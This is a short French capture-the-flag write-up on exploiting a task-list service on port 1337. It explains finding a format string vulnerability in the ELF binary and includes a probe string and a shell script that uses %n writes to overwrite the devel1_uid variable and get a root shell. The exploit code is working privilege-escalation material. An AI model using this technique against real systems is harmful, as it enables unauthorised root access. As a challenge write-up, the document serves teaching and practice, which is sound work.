FR EN

Development Server

Bomb Server >>

Le serveur de développement ne présentait qu'un seul service sur le port 1337. 4 actions permises : ajouter une tâche, afficher la liste des tâches, se logguer en tant que devel1 ou devel2.

En se logguant en devel1, on peut rapidement voir que l'application qui tourne est un ELF classique. N'ayant qu'une seule entrée utilisateur, on peut se permettre d'essayer rapidement un petit BoF et une format strings sur l'ajout de tâches. Le test de la format strings se révelant positif, on aura gagné un sacré temps...

En observant simplement l'objdump, on remarque la présence de setuid et setgid ainsi que devel1_uid et devel1_gid. Il devient assez clair qu'on va devoir écraser ces adresses mémoires là.

Assez bizarrement, on ne nous permet pas d'utiliser %X$ dans la liste des tâches donc on doit faire une belle format strings à l'ancienne... Notre chaîne commence au 20e mot de la pile et notre cible (devel1_uid) est à l'adresse 0x0804b0d0. setuid n'échoue pas avec un user qui n'existe pas, on peut donc ne pas trop réfléchir et trouver l'offset facilement.

Avec la première chaine

\xd0\xb0\x04\x08%x%x%x%x%x%x%x%x%X%x%x%X%X%X%x%X%X%X%x%n

on effectue une commande id et on voit que notre id courant est 95, ce qui sera donc notre offset de base. On peut donc effectuer la même opération mais pour les 4 bytes cette fois. Puisque nous voulons mettre un 0 dans le premier byte, on veut donc que la taille écrite vaille 256 (0x100). On a donc logiquement 256 - 95 (offset de base) + 4 (taille originale du 19e mot) - 24 (3*"junk" + adresse des 3 autres bytes).

#!/bin/sh

echo "2"
echo `printf "\xd0\xb0\x04\x08junk\xd1\xb0\x04\x08junk\xd2\xb0\x04\x08junk\xd3\xb0\x04\x08"`\
`perl -e "print '%x'x18 . '%' . (256 - (95 - 4 + 24)) . 'x%n' . '%256x%n'x3 "`
echo "3"
while true
do
read cmd
echo $cmd
done

Got Root ?

Bomb Server >>